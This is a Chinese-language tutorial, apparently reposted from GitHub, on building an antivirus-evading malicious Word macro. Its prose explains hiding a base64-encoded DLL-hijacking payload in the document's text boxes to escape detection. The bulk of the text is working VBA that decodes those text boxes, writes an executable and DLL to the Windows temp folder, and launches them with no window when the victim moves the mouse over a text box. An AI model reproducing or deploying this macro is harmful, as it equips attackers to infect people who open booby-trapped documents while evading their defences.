0x02 宏代码流程及免杀
释放文件其实也是个技术活,经过测试,能否释放文件成功主要看你的文件是不是静态免杀,如果文件静态免杀,那么就能够成功释放。因为这就是个正常的功能,杀软不可能拦截你释放安全的文件,不然就影响一些职业的正常办公了。而我们用的是dll劫持的方法,白名单程序肯定是安全的文件,那么就是我们的恶意dll文件如何实现静态免杀了。如何让dll文件静态免杀的方法很多,网上也有很多项目,这块内容不在该文章里,以后会详细讲解。
上段说了释放文件,而文件也都静态免杀了。那么还有一个要注意的地方,那就是dll劫持的程序保存在word文件哪里?首先我们得将dll劫持程序已二进制形式读取出来,然后base64编码后得到了一串字符串,只要释放的时候重新base64解码并已二进制形式写入到磁盘里,这样就能够释放出dll劫持程序了。那么重点就是该base64字符串存放在哪里?千万别放在宏代码里,很容易被杀,最好的规避杀软的方法就是将base64字符串放到word正文里的文本框等控件里。然后宏代码去读取文本框里的base64字符串,再解码写入磁盘里并运行白程序实现上线。这样通过该方法就能够实现了宏免杀。
0x03 宏代码
0x03-1 读取文件并base64编码
Sub WriteBinary(FileName, Buf)Dim I, aBuf, Size, bStreamSize = UBound(Buf): ReDim aBuf(Size \ 2)For I = 0 To Size - 1 Step 2aBuf(I \ 2) = ChrW(Buf(I + 1) * 256 + Buf(I))NextIf I = Size Then aBuf(I \ 2) = ChrW(Buf(I))aBuf = Join(aBuf, "")Set bStream = CreateObject("ADODB.Stream")bStream.Type = 1: bStream.OpenWith CreateObject("ADODB.Stream").Type = 2: .Open: .WriteText aBuf.Position = 2: .CopyTo bStream: .CloseEnd WithbStream.SaveToFile FileName, 2: bStream.CloseSet bStream = NothingEnd SubFunction Base64Encode(str() As Byte) As String 'Base64 编码On Error GoTo over '排错Dim Buf() As Byte, length As Long, mods As LongConst B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="mods = (UBound(str) + 1) Mod 3 '除以3的余数length = UBound(str) + 1 - modsReDim Buf(length / 3 * 4 + IIf(mods <> 0, 4, 0) - 1)Dim I As LongFor I = 0 To length - 1 Step 3Buf(I / 3 * 4) = (str(I) And &HFC) / &H4Buf(I / 3 * 4 + 1) = (str(I) And &H3) * &H10 + (str(I + 1) And &HF0) / &H10Buf(I / 3 * 4 + 2) = (str(I + 1) And &HF) * &H4 + (str(I + 2) And &HC0) / &H40Buf(I / 3 * 4 + 3) = str(I + 2) And &H3FNextIf mods = 1 ThenBuf(length / 3 * 4) = (str(length) And &HFC) / &H4Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10Buf(length / 3 * 4 + 2) = 64Buf(length / 3 * 4 + 3) = 64ElseIf mods = 2 ThenBuf(length / 3 * 4) = (str(length) And &HFC) / &H4Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10 + (str(length + 1) And &HF0) / &H10Buf(length / 3 * 4 + 2) = (str(length + 1) And &HF) * &H4Buf(length / 3 * 4 + 3) = 64End IfFor I = 0 To UBound(Buf)Base64Encode = Base64Encode + Mid(B64_CHAR_DICT, Buf(I) + 1, 1)Nextover:End Function'VB Base64 解码/解密函数:Function Base64Decode(B64 As String) As Byte() 'Base64 解码On Error GoTo over '排错Dim OutStr() As Byte, I As Long, j As LongConst B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1) '判断Base64真实长度,除去补位Dim length As Long, mods As Longmods = Len(B64) Mod 4length = Len(B64) - modsReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))For I = 1 To length Step 4Dim Buf(3) As ByteFor j = 0 To 3Buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, I + j, 1)) - 1 '根据字符的位置取得索引值NextOutStr((I - 1) / 4 * 3) = Buf(0) * &H4 + (Buf(1) And &H30) / &H10OutStr((I - 1) / 4 * 3 + 1) = (Buf(1) And &HF) * &H10 + (Buf(2) And &H3C) / &H4OutStr((I - 1) / 4 * 3 + 2) = (Buf(2) And &H3) * &H40 + Buf(3)NextIf mods = 2 ThenOutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16ElseIf mods = 3 ThenOutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4End IfBase64Decode = OutStr '读取解码结果over:End FunctionSub test2()Dim iFN As IntegerDim sPath As StringDim bFileSize As LongDim sResult As StringDim arr() As Byte ' 字节数组Dim arra() As Byte ' 字节数组Dim infile, outfile, infileBase As Stringinfile = "C:\Windows\Temp\123.exe"outfile = "c:\windows\temp\1.exe"iFN = VBA.FreeFilebFileSize = VBA.FileLen(infile)'Debug.Print bFileSizeOpen infile For Binary Access Read As iFNarr = InputB(bFileSize, iFN) '读取字节流infileBase = Base64Encode(arr())'Debug.Print infileBaseDim FSOSet FSO = CreateObject("Scripting.FileSystemObject")Set OutPutFile = FSO.OpenTextFile("C:\windows\temp\test.txt", 2, True)OutPutFile.Write (infileBase)OutPutFile.CloseSet FSO = Nothing'Dim infileBaseExe As String'infileBaseExe = Range("J22").Value'infileBaseExe = infileBaseExe + Range("J23").Value'arra = Base64Decode(infileBase)'WriteBinary outfile, arraEnd Sub
0x03-2 office宏上线代码
Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtrPrivate Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtrPrivate Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As LongPrivate Declare PtrSafe Sub ByteSwapper Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal length As Long, ByVal Fill As Byte)Private Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As LongPrivate Declare PtrSafe Function OpenProcess Lib "kernel32.dll" (ByVal dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As Long) As LongPrivate Declare PtrSafe Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As LongPrivate Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As LongPrivate Type PROCESS_INFORMATIONhProcess As LonghThread As LongdwProcessId As LongdwThreadId As LongEnd TypePrivate Type STARTUPINFOcb As LonglpReserved As StringlpDesktop As StringlpTitle As StringdwX As LongdwY As LongdwXSize As LongdwYSize As LongdwXCountChars As LongdwYCountChars As LongdwFillAttribute As LongdwFlags As LongwShowWindow As IntegercbReserved2 As IntegerlpReserved2 As LonghStdInput As LonghStdOutput As LonghStdError As LongEnd TypeConst CREATE_NO_WINDOW = &H8000000Const CREATE_NEW_CONSOLE = &H10Function fileExist(filePath)Dim fsoSet fso = CreateObject("Scripting.FileSystemObject")If fso.fileExists(filePath) ThenfileExist = TrueElsefileExist = FalseEnd IfSet fso = NothingEnd FunctionFunction dddddd(B64 As String) As Byte()On Error GoTo overDim OutStr() As Byte, i As Long, j As LongConst B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1)Dim length As Long, mods As Longmods = Len(B64) Mod 4length = Len(B64) - modsReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))For i = 1 To length Step 4Dim buf(3) As ByteFor j = 0 To 3buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, i + j, 1)) - 1NextOutStr((i - 1) / 4 * 3) = buf(0) * &H4 + (buf(1) And &H30) / &H10OutStr((i - 1) / 4 * 3 + 1) = (buf(1) And &HF) * &H10 + (buf(2) And &H3C) / &H4OutStr((i - 1) / 4 * 3 + 2) = (buf(2) And &H3) * &H40 + buf(3)NextIf mods = 2 ThenOutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16ElseIf mods = 3 ThenOutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4End Ifdddddd = OutStrover:End FunctionFunction runCommand(comando)Dim pInfo As PROCESS_INFORMATIONDim sInfo As STARTUPINFODim sNull As StringDim lSuccess As LongDim lRetValue As LonglSuccess = CreateProcess(sNull, comando, ByVal 0&, ByVal 0&, 1&, CREATE_NO_WINDOW, ByVal 0&, sNull, sInfo, pInfo)lRetValue = CloseHandle(pInfo.hThread)lRetValue = CloseHandle(pInfo.hProcess)End FunctionFunction WriteBinary(FileName, buf)Dim i, aBuf, Size, bStreamSize = UBound(buf): ReDim aBuf(Size \ 2)For i = 0 To Size - 1 Step 2aBuf(i \ 2) = ChrW(buf(i + 1) * 256 + buf(i))NextIf i = Size Then aBuf(i \ 2) = ChrW(buf(i))aBuf = Join(aBuf, "")Set bStream = CreateObject("ADODB.Stream")bStream.Type = 1: bStream.OpenWith CreateObject("ADODB.Stream").Type = 2: .Open: .WriteText aBuf.Position = 2: .CopyTo bStream: .CloseEnd WithbStream.SaveToFile FileName, 2: bStream.CloseSet bStream = NothingEnd FunctionFunction releaseFile(path As String, conte As String)hwminiArra = dddddd(conte)WriteBinary path, hwminiArraEnd FunctionFunction start()Dim filePath As StringfilePath = "C:\Windows\temp\aaaaaaa.exe"If Not fileExist(filePath) ThenreleaseFile "C:\Windows\temp\aaaaaaa.exe", Replace(ActiveDocument.Shapes(1).TextFrame.TextRange, Chr(13), Empty)releaseFile "C:\Windows\temp\aaaaaaaaaaa.dll", Replace(ActiveDocument.Shapes(2).TextFrame.TextRange, Chr(13), Empty)End IfrunCommand (filePath)End FunctionPrivate Sub TextBox2_MouseDown(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)Static i As Integeri = i + 1If i < 3 ThenstartEnd IfEnd SubPrivate Sub TextBox2_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)Static i As Integeri = i + 1If i < 3 ThenstartEnd IfEnd Sub
0x04 隐藏文本框









转自:github 作者:ske
seo优化_前端开发_渗透技术








